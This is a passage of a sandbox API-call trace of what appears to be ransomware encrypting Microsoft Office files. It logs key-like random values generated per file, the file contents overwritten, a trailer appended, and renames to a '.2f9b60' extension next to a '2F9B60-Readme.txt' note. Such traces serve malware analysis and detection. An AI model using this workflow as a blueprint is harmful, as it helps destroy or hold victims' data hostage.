DestinationString="7793c821f1b938d0c8d627206966325bc5055a75") [0143.583] RtlAnsiStringToUnicodeString (in: DestinationString=0x3baaf9b8, SourceString="7793c821f1b938d0c8d627206966325bc5055a75", AllocateDestinationString=1 | out: DestinationString="7793c821f1b938d0c8d627206966325bc5055a75") returned 0x0 [0143.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86730 [0143.584] RtlFreeAnsiString (AnsiString="7") [0143.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204febf0) returned 1 [0143.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169090) returned 1 [0143.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6cf0) returned 1 [0143.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced70b0) returned 1 [0143.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c50) returned 1 [0143.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ae0) returned 1 [0143.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fec20) returned 1 [0143.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fece0) returned 1 [0143.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fed10) returned 1 [0143.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x2050b100 [0143.586] wcscat (in: _Dest=0x2050b100, _Source="7793c821f1" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7793c821f1") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7793c821f1" [0143.586] wcscat (in: _Dest=0x2050b100, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7793c821f1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7793c821f1.2f9b60" [0143.586] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7793c821f1.2f9b60", NtPathName=0x3baaf990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\7793c821f1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050b950 [0143.587] NtSetInformationFile (FileHandle=0x1f90, IoStatusBlock=0x3baafa30, FileInformation=0x2050b950, Length=0xa2, FileInformationClass=0xa) returned 0x0 [0146.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b950) returned 1 [0146.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420538c0) returned 1 [0146.034] NtQueryInformationFile (in: FileHandle=0x1f90, IoStatusBlock=0x3baaf9f8, FileInformation=0x3baafa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3baaf9f8, FileInformation=0x3baafa08) returned 0x0 [0146.035] NtSetInformationFile (FileHandle=0x1f90, IoStatusBlock=0x3baaf9f8, FileInformation=0x3baafa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b100) returned 1 [0146.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86730) returned 1 [0146.074] FlushFileBuffers (hFile=0x1f90) returned 1 [0146.078] CloseHandle (hObject=0x1f90) returned 1 [0146.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202ae4a0 [0146.089] wcscpy (in: _Dest=0x202ae4a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0146.089] wcscat (in: _Dest=0x202ae4a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0146.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0146.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae4a0) returned 1 [0146.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504690) returned 1 Thread: id = 2182 os_tid = 0x15e8 [0140.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css")) returned 0x20 [0140.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS", dwFileAttributes=0x20) returned 1 [0140.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ec4 [0144.409] GetFileSizeEx (in: hFile=0x1ec4, lpFileSize=0x3bb7f8c0 | out: lpFileSize=0x3bb7f8c0*=3450) returned 1 [0144.409] SetFilePointerEx (in: hFile=0x1ec4, liDistanceToMove=0xd76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.409] ReadFile (in: hFile=0x1ec4, lpBuffer=0x3bb7f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3bb7f888, lpOverlapped=0x0 | out: lpBuffer=0x3bb7f840*, lpNumberOfBytesRead=0x3bb7f888*=0x4, lpOverlapped=0x0) returned 1 [0144.445] SetFilePointerEx (in: hFile=0x1ec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0144.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe110 [0144.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0144.446] NtQuerySystemTime (in: CurrentTime=0x3bb7f780 | out: CurrentTime=0x3bb7f780*=132462177496894000) returned 0x0 [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x4dc8b8be [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x23682d86 [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x57d01fbb [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x66f5e402 [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0xaf5bf8b [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x627b1775 [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x13571047 [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x3d96ebe6 [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x3ab887fc [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x3fd20d88 [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x3b2b0be9 [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x42ac9162 [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x1c835cf [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x62060b35 [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x7a309e08 [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x2accc53 [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x4fd9a1ed [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x7bd1451c [0144.446] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x4312c6b0 [0144.447] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x2ab6d2a2 [0144.447] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x730293af [0144.447] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x45d924bd [0144.447] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x4a3c59a0 [0144.447] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x31c8091e [0144.447] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x3557e2ca [0144.447] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x62b29d0e [0144.447] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x5333fa3c [0144.447] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0xd628c6e [0144.447] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x754082f1 [0144.447] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x65c9c555 [0144.447] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x5248e290 [0144.447] RtlRandomEx (in: Seed=0x3bb7f770 | out: Seed=0x3bb7f770) returned 0x76468cc7 [0144.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0144.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0144.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0144.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0144.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0144.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0144.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0144.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42339560 [0144.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4232e130 [0144.476] ReadFile (in: hFile=0x1ec4, lpBuffer=0x42339560, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x3bb7f770, lpOverlapped=0x0 | out: lpBuffer=0x42339560*, lpNumberOfBytesRead=0x3bb7f770*=0xd7a, lpOverlapped=0x0) returned 1 [0144.476] SetFilePointerEx (in: hFile=0x1ec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.477] WriteFile (in: hFile=0x1ec4, lpBuffer=0x4232e130*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x3bb7f774, lpOverlapped=0x0 | out: lpBuffer=0x4232e130*, lpNumberOfBytesWritten=0x3bb7f774*=0xd7a, lpOverlapped=0x0) returned 1 [0144.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0144.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2e0 [0144.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2e0) returned 1 [0144.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4232e130) returned 1 [0144.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42339560) returned 1 [0144.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0144.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2e0 [0144.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0144.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff130 [0144.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff130) returned 1 [0144.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff130 [0144.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0144.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff280 [0144.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff280) returned 1 [0144.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0144.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x16a080 [0144.518] SetFilePointerEx (in: hFile=0x1ec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.519] WriteFile (in: hFile=0x1ec4, lpBuffer=0x16a080*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3bb7f890, lpOverlapped=0x0 | out: lpBuffer=0x16a080*, lpNumberOfBytesWritten=0x3bb7f890*=0x104, lpOverlapped=0x0) returned 1 [0144.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0144.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0144.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0144.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0144.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0144.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0144.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x204fe500 [0144.534] sprintf (in: _Dest=0x204fe500, _Format="%c%c" | out: _Dest="34") returned 2 [0144.535] sprintf (in: _Dest=0x204fe502, _Format="%c%c" | out: _Dest="ce") returned 2 [0144.535] sprintf (in: _Dest=0x204fe504, _Format="%c%c" | out: _Dest="80") returned 2 [0144.535] sprintf (in: _Dest=0x204fe506, _Format="%c%c" | out: _Dest="68") returned 2 [0144.535] sprintf (in: _Dest=0x204fe508, _Format="%c%c" | out: _Dest="68") returned 2 [0144.535] sprintf (in: _Dest=0x204fe50a, _Format="%c%c" | out: _Dest="b7") returned 2 [0144.535] sprintf (in: _Dest=0x204fe50c, _Format="%c%c" | out: _Dest="ea") returned 2 [0144.535] sprintf (in: _Dest=0x204fe50e, _Format="%c%c" | out: _Dest="58") returned 2 [0144.535] sprintf (in: _Dest=0x204fe510, _Format="%c%c" | out: _Dest="f3") returned 2 [0144.535] sprintf (in: _Dest=0x204fe512, _Format="%c%c" | out: _Dest="3f") returned 2 [0144.535] sprintf (in: _Dest=0x204fe514, _Format="%c%c" | out: _Dest="3a") returned 2 [0144.535] sprintf (in: _Dest=0x204fe516, _Format="%c%c" | out: _Dest="6a") returned 2 [0144.535] sprintf (in: _Dest=0x204fe518, _Format="%c%c" | out: _Dest="16") returned 2 [0144.535] sprintf (in: _Dest=0x204fe51a, _Format="%c%c" | out: _Dest="41") returned 2 [0144.535] sprintf (in: _Dest=0x204fe51c, _Format="%c%c" | out: _Dest="3e") returned 2 [0144.535] sprintf (in: _Dest=0x204fe51e, _Format="%c%c" | out: _Dest="7f") returned 2 [0144.535] sprintf (in: _Dest=0x204fe520, _Format="%c%c" | out: _Dest="44") returned 2 [0144.535] sprintf (in: _Dest=0x204fe522, _Format="%c%c" | out: _Dest="b8") returned 2 [0144.535] RtlInitAnsiString (in: DestinationString=0x3bb7f908, SourceString="34ce806868b7ea58f33f3a6a16413e7f44b8" | out: DestinationString="34ce806868b7ea58f33f3a6a16413e7f44b8") [0144.535] RtlAnsiStringToUnicodeString (in: DestinationString=0x3bb7f8d8, SourceString="34ce806868b7ea58f33f3a6a16413e7f44b8", AllocateDestinationString=1 | out: DestinationString="34ce806868b7ea58f33f3a6a16413e7f44b8") returned 0x0 [0144.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d430 [0144.535] RtlFreeAnsiString (AnsiString="3") [0144.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0144.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0144.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0144.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x16a080) returned 1 [0144.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff130) returned 1 [0144.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0144.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2e0) returned 1 [0144.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0144.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe110) returned 1 [0144.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0144.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0144.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202ae5c0 [0144.537] wcscat (in: _Dest=0x202ae5c0, _Source="34ce80686" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\34ce80686") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\34ce80686" [0144.537] wcscat (in: _Dest=0x202ae5c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\34ce80686.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\34ce80686.2f9b60" [0144.537] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\34ce80686.2f9b60", NtPathName=0x3bb7f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\34ce80686.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ad760 [0144.537] NtSetInformationFile (FileHandle=0x1ec4, IoStatusBlock=0x3bb7f950, FileInformation=0x202ad760, Length=0xa0, FileInformationClass=0xa) [0227.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad760) returned 1 [0227.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20292a40) returned 1 [0227.607] NtQueryInformationFile (in: FileHandle=0x1ec4, IoStatusBlock=0x3bb7f918, FileInformation=0x3bb7f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3bb7f918, FileInformation=0x3bb7f928) returned 0x0 [0227.607] NtSetInformationFile (FileHandle=0x1ec4, IoStatusBlock=0x3bb7f918, FileInformation=0x3bb7f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0234.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae5c0) returned 1 [0234.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d430) returned 1 [0234.179] FlushFileBuffers (hFile=0x1ec4) returned 1 [0235.111] CloseHandle (hObject=0x1ec4) returned 1 [0236.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x431a2220 [0236.902] wcscpy (in: _Dest=0x431a2220, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0236.902] wcscat (in: _Dest=0x431a2220, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0236.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0236.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a2220) returned 1 [0236.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504210) returned 1 Thread: id = 2183 os_tid = 0x1610 [0140.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd")) returned 0x20 [0140.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD", dwFileAttributes=0x20) returned 1 [0140.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b28 [0144.392] GetFileSizeEx (in: hFile=0x1b28, lpFileSize=0x3ba0fa20 | out: lpFileSize=0x3ba0fa20*=2043) returned 1 [0144.392] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x7f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.392] ReadFile (in: hFile=0x1b28, lpBuffer=0x3ba0f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ba0f9e8, lpOverlapped=0x0 | out: lpBuffer=0x3ba0f9a0*, lpNumberOfBytesRead=0x3ba0f9e8*=0x4, lpOverlapped=0x0) returned 1 [0144.424] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0144.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0144.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe110 [0144.424] NtQuerySystemTime (in: CurrentTime=0x3ba0f8e0 | out: CurrentTime=0x3ba0f8e0*=132462177496582000) returned 0x0 [0144.424] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x29d5039 [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x302db046 [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x7108bf4b [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x686bdf77 [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x48913c22 [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x7d3bff7a [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x66d283e0 [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x7950f05e [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x6a0ecaad [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x7f64d46 [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x3727cd98 [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x518c1f80 [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x48913c22 [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x4b4923ba [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x62b29d0e [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x54e08dcb [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x4425c8b8 [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x4846f4ea [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x352fa632 [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x3dc90424 [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0xffe4000 [0144.425] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x6a0ecaad [0144.426] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x2a8bf9e2 [0144.426] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x3e52cde4 [0144.426] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x343cb004 [0144.426] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x3b2b0be9 [0144.426] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x4afe78c9 [0144.426] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0xaf5bf8b [0144.426] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x66505731 [0144.426] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x50068a39 [0144.426] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x601f7fc1 [0144.426] RtlRandomEx (in: Seed=0x3ba0f8d0 | out: Seed=0x3ba0f8d0) returned 0x7fef5ba0 [0144.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0144.435] 